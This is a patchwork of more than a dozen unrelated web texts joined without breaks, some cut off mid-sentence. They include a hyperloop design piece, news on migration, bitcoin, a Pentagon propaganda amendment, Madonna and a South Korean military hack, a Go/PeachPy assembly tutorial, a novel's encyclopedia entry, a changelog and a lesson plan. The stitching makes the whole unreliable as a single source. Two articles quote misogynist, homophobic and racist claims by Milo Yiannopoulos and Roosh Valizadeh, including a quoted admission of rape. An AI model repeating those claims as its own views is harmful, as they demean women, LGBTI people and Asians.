the layout of the coach capsule with digital display windows
designer chipp walters explains, ‘after studying both the initial plans and the engineering assessments we realized it would be critical for our design to expedite the exchange of passengers, vehicles, and cargo. to that end, we developed the concept of a capsule jukebox, which would lift capsules off the hyperloop sled and onto the departure/arrival platform. there they could be changed, configured, loaded, and unloaded. a second platform would be used for maintenance and loading of vehicles.’ argo design’s blueprints of the ‘hyperloop’ spark a creative conversation about what the future of mass public transportation could look like, and the direction it should take.
the business work capsule
each capsule a lines to form a sled
the cargo platform for vehicles and maintenance
different platforms separate passengers and cargo
the multi platform layout
Save
Save
SaveJoel Stein has written a profile of Milo Yiannopoulos in Bloomberg Businessweek naming him “a new force in electoral politics.”
“Milo is the person who propelled the alt-right movement into the mainstream,” says Heidi Beirich, who directs the Intelligence Project at the Southern Poverty Law Center, which tracks hate groups and describes the term “alt-right” as “a conscious rebranding by white nationalists that doesn’t automatically repel the mainstream.” Beirich says she’s not even sure if Yiannopoulos believes in the alt-right’s tenets or just found a juvenile way to mix internet culture and extreme ideology to get attention. “It’s like he’s joking: ‘Ha ha, let me popularize the worst ideas that ever existed,’ ” she says. “That’s new, and that’s scary.”
…
In this Kafkaesque troll war for America’s soul, Yiannopoulos believes that all offense is performed rather than truly felt. “I have never been offended. I don’t know what it means. It’s not that I disagree with it. I don’t understand it. I’ve never had that feeling,” he says. “I don’t let feelings control my life. I’m more disciplined than other people. I have a dark, ADD, Asp-y [Asperger’s syndrome] brain. I’m totally autistic or sociopathic. I guess I’m both.”
…
“I think my legacy might be longer than Trump’s,” he says. “I’m attacking the disease, not the symptoms. Also, he doesn’t read. But I still love him. And he’s still my daddy. Nobody’s perfect.”
…
For his shopping trip to Gieves & Hawkes, Yiannopoulos calls for an Uber. The driver is a man, possibly because Uber’s algorithm has learned that Yiannopoulos rejects female drivers. Women, he says, have been scientifically proven to be worse at spatial relations, as have Asians. “It’s the only thing Saudia Arabia gets right,” he says about the country’s ban on female drivers.
…
Yiannopoulos puts on a whole show to provoke students. He says his tour will cost $1 million, only some of which is going to his wardrobe. While on the road, he’s giving a women-in-tech talk at Stanford about female biological inferiority in science. He’s going to Yale shortly before Halloween, where, dressed in traditional Native American garb, he’ll address last year’s campus protests about mocking other cultures via culturally insensitive costumes. “I’m a perpetual 14-year-old,” he says. “Maybe not 14. I’m 7. It’s my USP [unique selling point].”
…
Halfway through her speech about the conspiracy-pandering and racism of Trump and the alt-right, Clinton reads four Breitbart headlines. Two of them are from Yiannopoulos articles.
“Birth Control Makes Women Unattractive and Crazy”
“Would You Rather Your Child Had Feminism or Cancer?”
He stands up, claps, and spins around. Yiannopoulos has hit the troll jackpot: He wrote outrageous headlines trying to provoke liberals, and the world’s top liberal read them with head-shaking seriousness, falling for the prank. He directs Bokhari, sitting 5 feet away, to quickly write an article for Breitbart about this. They give it the headline “Milo to Hillary: You Did This.” As crazy as that sounds, once you understand troll logic, it’s pretty much true.
…
Although he works for a news network, Yiannopoulos considers himself to be a pop star. “Milo is much closer to Jon Stewart,” says Alexander Marlow, the 30-year-old editor-in-chief of Breitbart. “He uses entertainment to put out the news. Only he’s much more fabulous and better-looking.”A sharp increase in the number of families from Central America detained at the border has immigration experts concerned that the U.S. may be facing another migration crisis similar to the summer surge of 2014.
Federal officials said this week that the number of unaccompanied minors detained at the border doubled in the last three months of 2015 compared with the previous year. And the number of families almost tripled.
Usually, border apprehensions decrease during winter months.
“It is a warning sign for what could come in the spring,” said Adam Isacson, a security analyst for the Washington Office on Latin America, a human rights and social justice organization.
The embedded graphic will not display on this device.
The increases from three Central American nations — Honduras, El Salvador and Guatemala — come as overall Border Patrol apprehensions hit historic lows. Net migration from Mexico is actually below zero now, the nonpartisan Pew Research Center has reported.
But while many unauthorized immigrants from Mexico who are detained are quickly returned to their homeland, those from the Central American nations are often unaccompanied minors or families — generally mothers traveling with small children. Under a federal anti-trafficking law, the migrant minors from countries without a shared U.S. border must be temporarily sheltered until they are reunited with a parent or guardian, usually within a few weeks.
During the last crisis in 2014, about 68,000 unaccompanied children and about 68,000 people traveling in families were apprehended. The wave of migration taxed resources and overwhelmed Border Patrol facilities in the Rio Grande Valley, until many of the children were moved to shelters as far away as Oklahoma.
Three shelters opened late last year near Dallas as the number of immigrants from Central America has begun to again rise steeply.
The U.S. government has also funded an advertising campaign in Central America warning of the dangers of taking the journey north. And ongoing deportations back to gang-plagued El Salvador, Honduras and Guatemala have hit a pace of about 14 flights each week.
Federal authorities have also stepped up raids designed to net Central Americans who arrived after June 2014, including a few detentions in North Texas.
Not that any of that has discouraged the immigrants from braving the long journey north for better jobs and incomes and, more important, a safer day-to-day life.
“If you have a kid who is gang-recruitment age, [migration north] might be worth the investment,” Isacson said.
The El Salvadoran government recently released 2015 homicide figures ranking that country of 6.5 million as the world’s most murderous. The numbers show 104 homicides for every 100,000 persons, violence not seen since that country ended its civil war in 1992.
“People who continue to fear for their lives in their home country will keep coming,” said Wendy Young, the attorney-president of the D.C.-based nonprofit Kids In Need of Defense.
“It’s hard to out-ugly what is happening in Central America, no matter what we do to them,” Young said.
The largest jump in detentions came from families. Those numbers nearly tripled to 21,469 people from October through December, compared with 7,468 in the previous period, according to the U.S. Customs and Border Protection.
The flow of unaccompanied minors also continued to climb to 17,370 in those three months, compared with nearly 8,000 in the previous period.
By comparison, in June 2014 at the height of the migrant swell, about 16,300 migrant family members and 10,400 migrant minors were apprehended, border statistics show.
The numbers include immigrants from Mexico, but the increases are mostly due to people moving north from the Central American nations. The increase for December was the highest in recent counts for migrant minors and families, Isacson said.
This month, raids were conducted in Texas, Georgia and North Carolina with 121 people from Central America detained.
Jeh C. Johnson, head of the Department of Homeland Security, noted the need to deport at “a greater rate” when he detailed the scope of the raids and other measures the U.S. has taken to discourage the migration.
“We aim to ensure that there are safe, lawful, and orderly options available to those seeking refuge and to further deter individuals from undertaking the journey and attempting to cross the border without authorization in the hands of unscrupulous smugglers,” he said.
Johnson said all those detained were subject to final orders of removal issued by an immigration court. Pro bono attorneys rushed to help detainees and won stays of deportation for 33.
Legally, the Central Americans don’t have refugee status. But immigrant advocates say many of those fleeing El Salvador, Guatemala and Honduras are deserving of refugee protections.
On Wednesday, Secretary of State John Kerry said the U.S. would expand a small refugee program it started in December 2014 for Salvadorans, Guatemalans and Hondurans. Thus far, only 48 persons have arrived in the U.S. under that program, a State Department spokeswoman said.
Federal officials didn’t say whether potential refugees would be moved into another country for processing, such as neighboring Mexico or Costa Rica.
KIND, a nonprofit advocacy group, said in a statement that the new resettlement program is “unquestionably a step in the right direction.” But the U.S. must still allow women and children to apply for protection at the U.S. border in a “full and fair process” — a request stemming from allegations that immigrants are rushed through processes without enough time to present a good case or have assistance from an attorney. Some attorneys have complained that “credible fear” interviews at the border are inadequate in determining if there’s a significant possibility of persecution or torture back in the homeland.
Meanwhile, the number of people arriving at the border continues to increase. Attorney Bill Holston, executive director of the Human Rights Initiative of North Texas, could spot the problem just by looking at his East Dallas lobby on in-take days: Standing-room only.
“If the government is trying to send a message with speedy deportations and raids, it is having no effect,” Holston said.
Twitter: @disolisThe homophobic leader of a rape advocacy ‘neomasculinist’ online group is holding a worldwide meetup for straight men only this week. It’s his most ambitious global meet-up yet.
Daryush ‘Roosh’ Valizadeh, the US-based male supremacist and self-styled pick-up artist who leads anti-woman group Return of Kings, has announced plans for meet-ups in 165 cities all around the world from Australia to the UK.
Valizadeh has previously stated that ‘rape should be legal on private property’. In his books, he has admitted to raping drunk women. ‘It took four hours of foreplay and at least 30 repetitions of “No, Roosh, no” until she allowed my penis to enter her vagina. No means no, until it means yes,’ he wrote in one book.
In the planned meet-up for 6 February at 8pm local time, he said: ‘To identify your fellow tribesmen, ask the following question to a man you suspect is there for the meetup: “Do you know where I can find a pet shop?”…
‘If you ask someone for the pet shop and they appear confused or actually try to direct you to a real pet shop, they’re not there for the meetup.’
Valizadeh has repeatedly spoken against LGBTI people.
‘The legalization of gay marriage is a full frontal attack on heterosexual men,’ he wrote in one article on his website.
‘The societal reorganization that is necessary to allow gay marriage automatically elevates homosexuals to a special class of citizenry. To hoist one class you must demote another, meaning that heterosexual men are by default the enemies and oppressors of homosexuals.’
He added: ‘Young boys will be enthusiastically taught the superiority of homosexual lifestyles and the shameful privilege of heterosexuals, especially concerning the types of relationships that lead to nuclear, stable families. In addition, straight men will be forced under the barrel of the state’s gun to pay taxes for the AIDS drugs of gays, their impulsive sex changes, their mental and medical treatments resulting from sleeping with hundreds of partners, and also the salaries of politicians that continue to vote against traditional family values and basic morality standards.
‘Your tax money already goes to Planned Parenthood and pharmaceutical companies to sterilize the female population so what’s a few more billion more to empower gays to continue their bathhouse behavior?’
He also believes women should not be able to vote, trans woman who sleep with straight men are rapists and women are biologically determined to follow the orders of men.
Numerous petitions have been launched to stop these meet-ups from happening.
‘Our views are becoming known enough that we can ‘come out’ of the shadows and not have to hide behind a computer screen for fear of retaliation,’ Valizadeh said in a post on the website.
‘Let the sixth of February be a clear signal to all that we’re not going anywhere. We have finally arrived.’© Reuters. Bitcoin rallies above $7,000 for the first time
Investing.com - The price of the digital currency bitcoin rose to a new all-time high above the $7,000 level on Thursday, extending a recent record rally.
On the U.S.-based GDAX exchange, hit a high of $7,089.80 and was at $7,040.80 by 05:42 AM ET (09:42 AM GMT).
Bitcoin is up as much as 640% this year after starting the year near $1,000 and at current prices has a total market capitalization of around $117 billion.
The digital currency has been boosted by news that futures markets operator CME Group (NASDAQ: ) is planning to launch bitcoin futures later this year, pending regulatory approvals.
The launch of a bitcoin product by a major regulated exchange could help cryptocurrencies gain legitimacy in the financial world and represent a major step forward in mainstream adoption.
CME is regulated by the Commodity Futures Trading Commission, which would have to sign off on the launch of any bitcoin futures contract.
Meanwhile, the price of bitcoin offshoot was last at $558.38, up 4.77% for the day.
Bitcoin cash has a total market cap of around $9 |
void * Go’s uintptr.
Second, when declaring the function itself, there is only a single argument which, as PeachPy is expecting a tuple as the second argument, we have to write as (f, ).
The body of the function starts off the same. We load the address of the struct (the first argument) into reg_f_base.
Next, we declare a temporary register v to store the sum.
Our next two instructions load the value of bar (a word-sized value at offset 2) and add qux (offset 8)
Finally, we set v as the return value from the function.
//go:generate python -m peachpy.x86_64 add.py -S -o add_amd64.s -mabi=goasm //go:noescape func add(f *foo) uint64
Our stub file includes an additional directive before the function declaration. The //go:noescape directive tells the compiler that the pointer passed to this function does not escape to the heap or into the return values. Without this, the compiler would have no choice but to allocate the struct on the heap. Now, the compiler’s escape analysis can tell it to potentially be allocated on the stack instead (as it will be with our main function). This can be a significant win. On the other hand, stack allocation can break the alignment needed by certain SSE instructions, requiring the use of the unaligned version instead.
Here is our main :
func main() { var f = foo{bar: 200, qux: 50000} sum := add(&f) fmt.Printf( "sum = %+v
", sum) }
And running it we get the expected result:
sum = 50200
Working with slices
There are two ways to work with slices.
You can pass the pass the address of the first element and work with that but then your pure-Go version and your asm version will have different parameter lists. This matches more closely with how C would call your code and makes it easier to use your assembly code for both C and Go.
On the other hand, since you can’t do pointer-arithmetic in Go, your pure-Go version (you are writing pure-Go versions of your assembly routines, right?) will still need to be passed a slice. Which means you’re going to have code that looks like
var total uint64 if useGo { total = addGo(x) } else { total = addAsm(&x[0], len(x)) }
But if you’re just writing Go code, it’s nicer if they’re the same. (You can still call your slice-expecting-assembly routine from C – you just need to pass the length twice to pretend to be the capacity).
Let’s look at an example. Here are the arguments to the function:
s_base = Argument(ptr()) s_len = Argument(size_t) s_cap = Argument(size_t)
A slice is passed as three arguments: a pointer to the data, the length, and the capacity. Technically, len and cap are signed ints. However, we’re going to use size_t instead, even though it’s unsigned. (The signedness here is only used for cosmetic purposes when generating the prototype comment for the generated assembly and doesn’t affect the instructions at all. Also, using size_t is semantically nicer than using ptrdiff_t which is an appropriately sized signed integer. PeachPy only uses the size of the integer when generating stack offsets. If you want to be exact and you know you’re only going to be running on amd64, you could use the exact int64_t instead.
Here our function declaration mentions the three arguments we’re expecting. We can also see the use of PeachPy’s with Loop() construct to sum up all the elements of the slice.
with Function( "add", (s_base,s_len,s_cap), uint64_t) as function: reg_s_base = GeneralPurposeRegister64() reg_s_len = GeneralPurposeRegister64() LOAD.ARGUMENT(reg_s_base, s_base) LOAD.ARGUMENT(reg_s_len, s_len) total = GeneralPurposeRegister64() XOR(total, total) with Loop() as loop: ADD(total, [reg_s_base]) ADD(reg_s_base, 8) SUB(reg_s_len, 1) JNZ(loop.begin) RETURN(total)
While our assembly stub just lists a single slice:
func add(s [] uint64 ) uint64
The go vet tool will check that the assembly arguments for a slice are named correctly. If you have an argument s which is a slice, the three arguments to your assembly function should be s_base, s_len, and s_cap.
Working with strings
A string is just a slice without a capacity, so you only have to declare two arguments: a data pointer and a length.
Debugging
Delve supports single-stepping through assembly code, which is nice. It doesn’t yet support viewing any of the extended registers.
Since PeachPy supports the standard C calling convention, you can also call your assembly routines from C and debug it with any of the standard Linux debuggers without having to worry about the Go runtime specifics.
For example, the slice code above we can generate a sysv elf object file with
python -m peachpy.x86_64../add.py -emit-c-header add.h -mimage-format=elf -o add_amd64.o -mabi=sysv
and call it from C with
int main() { uint64_t t[]={100, 200, 1000, 50000}; printf( "sum=%ld
", add(&t, 4, 4)); }
Testing
Testing assembly code is no different from testing regular code. However, one suggestion is to always have a pure-Go version of whatever your assembly routine is doing. This can be used on platforms, but also as a base-version to compare your optimized implementation with. If you use build-tags to choose an implementation at build-time, you’ll probably need to rename the functions when fuzzing so you can have both functions in your test binary.
The inputs can be from your regular test suite, or explored via go-fuzz. For more on using go-fuzz for comparing implementations, please see DNS Parser, meet Go fuzzer
Finally, you can also leverage PeachPy and do your testing in Python. This will require constructing argument lists via Python’s ctypes module.
A simple example to test our code which works with slices:
if __name__ == "__main__" : import ctypes add_asm = function.finalize(abi.detect()).encode().load() inp = [10,500,2000,50000] arr = (ctypes.c_ulonglong * len(inp))(*inp) g = add_asm(arr,len(arr),len(arr)) assert (g == 52510)
By having your tests in your python code, they will be run each time PeachPy generates the assembly code.
Resources
The official docs for the Go assembler at https://golang.org/doc/asm. They’re useful to read, but remember that PeachPy will be taking care of the many of the details for you regarding the syntax and calling convention.
The PeachPy sources
Finally, at GolangUK 2016, Michael Munday gave a talk on Dropping Down: Go Functions in Assembly.How would you guess Isaac Mizrahi and a chipper QVC host might fare on a pop quiz of astronomy basics? If your answer was “poorly,” you are totally correct. While shilling his wares on the channel yesterday, the designer encountered an obstacle in the form of two prominent members of our solar system. Pointing to a green top with a swirling print, the host said, “It almost kinda looks like what the Earth looks like when you’re a bazillion miles away, from the planet Moon.” As often happens when you get into Space Talk, the conversation only gets more intense from there. “Is the moon a star?” she asks. “No, the moon is a planet, darling. The moon is a planet, honey,” Mizrahi responds in a confident, if a bit mansplain-y manner. He’s less clear on the role of the sun, though. “I don’t know what the sun is,” he admits. We can only hope that on the next episode, Neil deGrasse Tyson comes on to clear all of this up.Via Mike Riggs at Reason, Michael Hastings reports at BuzzFeed that an amendment has been inserted into the latest version of the NDAA that would nullify the Smith-Mundt Act of 1948 and Foreign Relations Authorization Act in 1987, both of which ban domestic propaganda. It is being sponsored by Rep. Mac Thornberry from Texas and Rep. Adam Smith from Washington State.
The amendment would “strike the current ban on domestic dissemination” of propaganda material produced by the State Department and the Pentagon, according to the summary of the law at the House Rules Committee’s official website. …The new law would give sweeping powers to the State Department and Pentagon to push television, radio, newspaper, and social media onto the U.S. public. “It removes the protection for Americans,” says a Pentagon official who is concerned about the law. “It removes oversight from the people who want to put out this information. There are no checks and balances. No one knows if the information is accurate, partially accurate, or entirely false.” According to this official, “senior public affairs” officers within the Department of Defense want to “get rid” of Smith-Mundt and other restrictions because it prevents information activities designed to prop up unpopular policies—like the wars in Iraq and Afghanistan.
The legislation banning propaganda aimed at Americans has not meant the end of propaganda, with a sycophantic mass media filling in for the state all along the way. But even the government’s war propaganda has managed to persist. Recent reports published by USA Today exposed the dubious nature and exorbitant costs of the Pentagon’s “Information Operations,” (IO) which the newspaper described as “the modern equivalent of psychological warfare,” or war propaganda. In fact, soon after the reports were published, the journalists were targeted in a misinformation campaign. If it was done using federal funds, it could be a direct violation of Smith-Mundt or the FRAA.
Propaganda has always been with us. During the First World War, President Woodrow Wilson set up the Committee on Public Information (CPI), a propaganda ministry meant to build public support for the war effort. The CPI distributed propaganda in news stories, street posters, advertisements, and hollywood films. It launched pro-war lecture circuits to mobilize public opinion, and publicly criticizing the president or the war effort was essentially criminalized.
“The propagandists in World War II,” writes historian Susan A. Brewer, ” following in the footsteps of the Committee on Public Information, while attempting to avoid their predecessor’s mistakes.”
The OWI’s [Office of War Information] objective, acknowledged privately, was the “coordination, synchronization, embellishment, emphasis, manipulation and distribution of facts as information rather than…gross overstatements and exaggerated misrepresentations.” To mobilize the population, the OWI drew on familiar advertising techniques such as repetition, catchy slogans, and celebrity endorsement. …On December 16, 1941, President Roosevelt set up the Office of Censorship, headed by Associated Press executive news editor Byron Price. The Office of Censorship had authority over all civilian communication…Before news organizations released a story, Price wanted them to ask themselves, “Is this information I would like to have if I were the enemy?” In a 1942 press conference, he and [OWI Director Elmer] Davis explained the relationship of the Office of Censorship and the OWI with the news media. Price announced, “We tell what they cannot print.” Davis said, “We give them stuff we hope they will print.”
But a modern phenomenon really put a stick in the spokes of the government’s attempts to treat the public like mushrooms and the mass media’s efforts to dominate the airwaves with regurgitated state spin. By making vast amounts of historical, political, and economic literature freely and immediately accessible, the Internet has belittled the the government’s aim of keeping the public ignorant. As the saying goes, information is power – and when citizens have more of it, the government has less.
According to the report from Hastings, the amendment’s sponsors have the Internet specifically in mind:
…Thornberry warned that in the Internet age, the current law “ties the hands of America’s diplomatic officials, military, and others by inhibiting our ability to effectively communicate in a credible way.” The bill’s supporters say the informational material used overseas to influence foreign audiences is too good to not use at home, and that new techniques are needed to help fight Al-Qaeda, a borderless enemy whose own propaganda reaches Americans online.
In other words, people are getting information online that we don’t want people to have – therefore, legalize domestic propaganda. So NDAA is the latest effort by Congress (after SOPA, CISPA and the others) to take control of the best resource the American people have. The Internet is too open, too free, too…subversive. We need information the government wants us to have, not all that other stuff.A Texas radio station has a message for Madonna: Don’t preach about Trump.
Texarkana’s Hits 105 posted a message on its Facebook page alerting its listeners that they’re dumping the Material Girl’s songs “indefinitely” due to comments they found rather immaterial to being a pop star.
General Manager Terry Thomas released a statement explaining why Madonna’s tracks will no longer be among their 50 minutes of commercial-free hits from the ’60s, ’70s and ’80s: “Banning all Madonna songs at HITS 105 is not a matter of politics, it’s a matter of patriotism. It just feels wrong to us to be playing Madonna songs and paying her royalties when the artist has shown un-American sentiments. If all stations playing Madonna took their lead from us, that would send a powerful economic message to Madonna.”
Specifically, the station referenced Madonna’s “f-bombs” during her Women’s March on Washington speech last Saturday and this line that’s generated plenty of controversy: “Yes, I’m angry. Yes, I am outraged. Yes, I have thought an awful lot about blowing up the White House.”
Madonna has since clarified the comments, writing on Instagram: “I am not a violent person, I do not promote violence and it’s important people hear and understand my speech in its entirety rather than one phrase taken wildly out of context … the only way to change things for the better is to do it with love.”
For more news videos visit Yahoo View, available now on iOS and Android.Valley of the Dolls is the first novel by American writer Jacqueline Susann. Published in 1966, the book was the biggest selling novel of its year.[1] To date, it has sold more than 31 million copies,[2] making it one of the best-selling works in publishing history.[3]
Plot summary [ edit ]
The novel tells the story of three young women who become fast friends in the turbulent post-war worlds of Broadway and Hollywood: Anne Welles, a reserved New England beauty who sees New York as the romantic city of her dreams; Neely O'Hara, an ebullient vaudevillian with a talent she doesn't fully understand; and Jennifer North, a sweet-natured showgirl who wants only to be loved. As life becomes difficult, each woman grows increasingly dependent on "dolls", the amphetamines and barbiturates which, for a time, seem to help.
Crossing their paths are such people as Helen Lawson, a brilliant, but ruthless, Broadway legend; Lyon Burke, a magnetic, but self-centered, theatrical attorney; Tony Polar, a child-like, but sexually aggressive, pop singer; Kevin Gillmore, a powerful, but lovesick, cosmetics tycoon; and Ted Casablanca, a potent, but opportunistic, fashion designer.
Over the course of 20 eventful years (1945–1965), each of the women strives to ascend the Mount Everest of her dreams, only to find herself back in the valley of the dolls.
Background [ edit ]
Susann had apparently been thinking about the novel for some time. Some years earlier, she had begun Underneath the Pancake, a show business novel, with her actress friend Beatrice Cole (c. 1910–1999).[4] Later, she considered writing a novel about drug usage in show business to be called The Pink Dolls.[5]
Valley of the Dolls is considered to be a roman à clef, with its characters based on famous figures such as Judy Garland, Carole Landis, Dean Martin, and Ethel Merman.[6] In 1973, after publication of her third novel, Susann said, "They can keep calling it that [roman à clef]. It'll only make my books sell. I don't care."[7] Susann insisted that she began each book with a theme: "Then I start asking, what kind of a personality? And because I have a good ear, I unconsciously pick up certain people."[7]
Susann dedicated the book to her poodle Josephine, and to her husband Irving Mansfield.[8]
Reception [ edit ]
The book was published by Bernard Geis Associates on February 10, 1966, and "took off like a Cape Canaveral space shot." [9]
Although Publishers Weekly, in an advance review, called the novel "big, brilliant and sensational" (if "poorly written"),[10] the book received largely negative reviews. Gloria Steinem panned the book in The New York Herald Tribune [11] as did the reviewer in The New York Times.[12] Time magazine called it the "Dirty Book of the Month", and said, "It might more accurately be described as a highly effective sedative, a living doll."[13]
Despite the poor reviews, the book was a commercial juggernaut. On May 8, 1966, in its ninth week on the list, the book reached #1 on the New York Times Best Seller List, where it remained for 28 consecutive weeks.[14] With a total of 65 weeks on the list, the book became the best selling novel of 1966.[1] By the time of Susann's death in 1974, it had entered the Guinness Book of World Records as the best selling novel in publishing history, with more than 17 million copies sold.[15] By 2016, the book had sold more than 31 million copies.[2]
Adaptations [ edit ]
In 1967, the book was adapted into a film of the same name, directed by Mark Robson (Peyton Place), and starring Barbara Parkins (as Anne), Patty Duke (Neely), Paul Burke (Lyon), Sharon Tate (Jennifer), and Susan Hayward (Helen). The screenplay was written by Helen Deutsch (National Velvet) and Dorothy Kingsley (Seven Brides for Seven Brothers), and produced by Robson and David Weisbart. Reviews were scathing,[16] but the film was an enormous box-office hit, becoming the sixth most popular of the year with $44 million at the domestic box office.[17] Susann, who had a cameo as a news reporter, hated the film, reportedly telling director Robson that it was "a piece of shit."[18]
The novel was adapted for television in 1981 as Jacqueline Susann's Valley of the Dolls, a mini-series executive-produced by Susann's widower Irving Mansfield and directed by Walter Grauman. This version stars Catherine Hicks, Lisa Hartman, and Veronica Hamel. In 1994 a late-night, syndicated television soap opera, Valley of the Dolls, ran for one season and 65 episodes. The premise was a loose adaptation of the novel.[19] BBC Radio 4 broadcast a 15-episode dramatisation scripted by Yvonne Antrobus over three weeks in August and September 2005. It was part of the Woman's Hour programme's ongoing fifteen-minute daily drama slot,[20] and has been rebroadcast several times on BBC Radio 4 Extra in three 70-minute omnibus episodes.[21]
References [ edit ]Ticket #1691: Main menu: Applications->other has strange offset
Some time ago it was decided to clamp menu sizes to prevent them from becoming huge and causing texture corruption. The actual implementation of this was 1% successful and 99% total failure, causing a number of bugs which nobody noticed for a long while.
Ticket #1830: default borders reverts
Apparently there was a separate border style for fileman which no theme supported and did nothing but unset border styles.
Other Improvements Today:
Desktop gadgets in use when screen is rotated will no longer cause a crash
Gadget popups on left/top oriented shelves will once again position correctly
Rotating a screen while a shelf is autohiding no longer causes a crash
Text in system action dialogs has been improved
First-run wizard no longer displays Bulgarian flag for UK
List items will properly unselect
Shelf will show on startup once all gadgets have populated
Various leaks plugged
Desktop gadgets no longer duplicate themselves as often and cause even fewer crashes
AdvertisementsNew report calculates that earnings did not rise for more than half a billion people between 2005 and 2014
Half a billion people in 25 of the west’s richest countries suffered from flat or falling pay packets in the decade covering the financial and economic crisis of 2008-09, according to a report highlighting the impact of the Great Recession on household incomes.
Research by the McKinsey Global Institute found that between 65% and 70% of people in 25 advanced countries saw no increase in their earnings between 2005 and 2014.
The report found there had been a dramatic increase in the number of households affected by flat or falling incomes and that today’s younger generation was at risk of ending up poorer than their parents. Only 2% of households, 10 million people, lived through the period from 1993 to 2005 – a time of strong growth and falling unemployment – without seeing their incomes rise.
The MGI said governments had mitigated the impact of the squeeze on incomes through tax cuts and welfare spending, but that even when these were taken into account 20-25% of households were no better off in 2014 than they were in 2005.
It noted that people who had seen no increase in their incomes tended to be pessimistic about the future both of themselves and their children, and were likely to be more negative about removing barriers to trade or migration.
“Our survey also found that those who were not advancing and not hopeful about the future were more likely than those who were advancing to support nationalist political parties such as France’s National Front or, in the United Kingdom, to support the move to leave the European Union.”
The research organisation said the deep slump and the weak recovery after the 2008 financial crisis were the main causes of the phenomenon, but that a decline in the number of people available for work, more part-time and temporary working, and a decline in the influence of trade unions had also played a part.
It warned that should the “slow growth” conditions of the past decade persist, up to 80% of income segments could face flat or falling incomes over the next decade. There was a possibility that increased automation would result in 30-40% of households seeing no advance in their incomes even if growth accelerated.
Richard Dobbs, a senior partner at McKinsey, said: “This new research from MGI shows the emergence of a corrosive phenomenon in advanced economies: households experiencing flat or falling incomes compared with people like them in the past.
“The financial crisis and slow recovery has been a key driver of this but we are also seeing fundamental shifts in the workplace. Over time, declining earning power for large swaths of the population could limit demand growth in economies, could increase the need for social spending and transfer payments, and raise social tensions. Our research finds that carefully targeted policy measures to boost productivity, GDP growth, and employment can make a significant difference.”
The study looked in depth at incomes in six developed countries – France, Italy, the Netherlands, Sweden, the UK and the US – and then scaled the findings up to include a further 19 nations for a total of 25 countries with a combined population of 800 million and accounting for half of global gross domestic product.
Of the six countries picked out, 97% of Italian households saw their incomes fall or remain stagnant in the decade ending in 2014. The comparable figures were 80% for the US, 70% for both the UK and the Netherlands, 63% for France and 20% for Sweden.
The MGI said government policy and labour market practices helped determine the ultimate extent of flat or falling incomes. “In Sweden, for example, where the government intervened to preserve jobs, market incomes fell or were flat for only 20%, while disposable income advanced for almost everyone. In the United States, government taxes and transfers turned a decline in market incomes for 81% of income segments into an increase in disposable income for nearly all households.”The hustle and bustle of the holiday season is about to become a little more enjoyable. Verizon Wireless has declared Nov. 26 “Connection Day” and is offering mobile users the chance to connect with everything they love in life – friends, music, books, news, and apps -- on one of the busiest travel days of the year.
Verizon has teamed up with leading content providers to deliver exciting digital treats that any wireless customer can enjoy. Verizon is working with Amazon, Apple, Boingo Wireless, Condé Nast, Gogo Technologies, JetBlue and Pandora on a variety of offers that will make the day before Thanksgiving just a little bit more entertaining.
On Nov. 26, all consumers, regardless of wireless carrier, can receive everything from movies to free wifi to audio books to streaming music, all compliments of Verizon. The complete list of offers includes:
Verizon FiOS: Special mobile access to popular movies and TV shows on November 26, compliments of Verizon FiOS, by downloading the free FiOS Preview app.
Special mobile access to popular movies and TV shows on November 26, compliments of Verizon FiOS, by downloading the free FiOS Preview app. Amazon: Selection of 10 free/discounted apps, plus two free Audible book downloads (new members) or $10 Audible credit (current members)
Selection of 10 free/discounted apps, plus two free Audible book downloads (new members) or $10 Audible credit (current members) Apple: A special offer from iTunes to be revealed on Nov. 26
A special offer from iTunes to be revealed on Nov. 26 Condé Nast: Free Digital Edition downloads of 17 Conde Nast Publications, including Wired, Vanity Fair and GQ.
Free Digital Edition downloads of 17 Conde Nast Publications including Wired, Vanity Fair and GQ. Free Wi-Fi: Complimentary Internet sessions through Boingo Wireless (at airports) and Gogo (in-flight).
Complimentary Internet sessions through Boingo Wireless (at airports) and Gogo (in-flight). JetBlue: Free in-flight Fly-Fi (Wi-Fi) for flights between November 26th and December 31st.
Free in-flight Fly-Fi (Wi-Fi) for flights between November 26th and December 31st. Pandora Media: Free seven-day trial of Pandora One.
Simply go to www.verizon.com/connectionday to preview the Connection Day treats. Consumers who visit the site before Nov. 26 can get a reminder to return on Connection Day to choose the gifts they are interested in.
And Verizon Wireless customers get a special treat. Starting today, MORE Everything customers who register for Connection Day at verizon.com/connectionday are eligible to immediately receive a one-time gift of 1GB of shareable data applied to their account. Plus, they’ll get another 1GB of data in their next billing cycle.
Not a MORE Everything customer? No problem. You’re eligible for a special discount on the mophie powerstation 4000, a great tool to keep devices charged and connected.
“As we approach the holiday season, we wanted to show how much we appreciate our customers,” said Ken Dixon, vice president of marketing, Verizon Wireless. “We hope that not only our customers, but everyone, will take advantage of this day—a day to connect with family and friends, to learn something new about their device, or just to provide a little more entertainment during what can often be a hectic kick off to the holiday season.”
Connection Day – A big “Thanks” from Verizon during the season of thanks.South Korea says their military cyber command was hacked with a malicious code – Usual culprit: North Korea.
South Korea says its military cyber command center was hacked last month after officials found a malicious code in the system. It is unclear how the code got into the system but its target was a ”vaccine routing server” used by country’s military cyber command.
The vaccine routing server was installed to provide extra security to military computers connected to the Internet. According to Yonhap News country’s national defense committee member Kim Jin-pyo:
“A malicious code has been identified and it seems to have taken advantage of the vulnerability of the routing server,” he said. “In a cautious measure, the server has been separated from the network.”
Kim also suggested that the chances of stealing or leaking sensitive data are low as the military intranet was not connected to the targeted server.
The usual suspect of this attack is North Korea however the investigators are on a fact-finding mission and will not officially blame anyone until investigations are completed.
You shouldn’t be surprised if North Korea is found to be the culprit behind this attack. The South has blamed North several times for conducting cyber operations against its servers. Last year, North pointed their fingers on the South for hacking its Neaclure plant and subway system.
[fullsquaread][/fullsquaread]
Unit 21 is one of the more well known state-sponsored hackers. Unit 121 is an elite group of highly trained hackers, who are solely focused on cyber espionage. This unit is made up of the best and brightest minds, that have been handpicked from a very early to be trained in cyber warfare.
[src src=”Source” url=”http://english.yonhapnews.co.kr/national/2016/10/01/82/0301000000AEN20161001001451315F.html”]Yonhap News[/src]
[src src=”Image Source” url=”http://deathd0g101.deviantart.com/art/South-Korean-Flag-Cubes-546244227″]DeviantArt/DEATHD0G101[/src]A good introduction to Polynomials is this activity I just created using some of the manipulatives available at my school. In case you don’t have access to these manipulatives, I have included some alternate resources you can make yourself (links at the end).
Prep:
Containers with evenly distributed Pattern Blocks (pictured in the photo). One for each group. Each container contains approximately 250 shapes.
A whiteboard or a large piece of paper where the students can visibly see what other groups are working on.
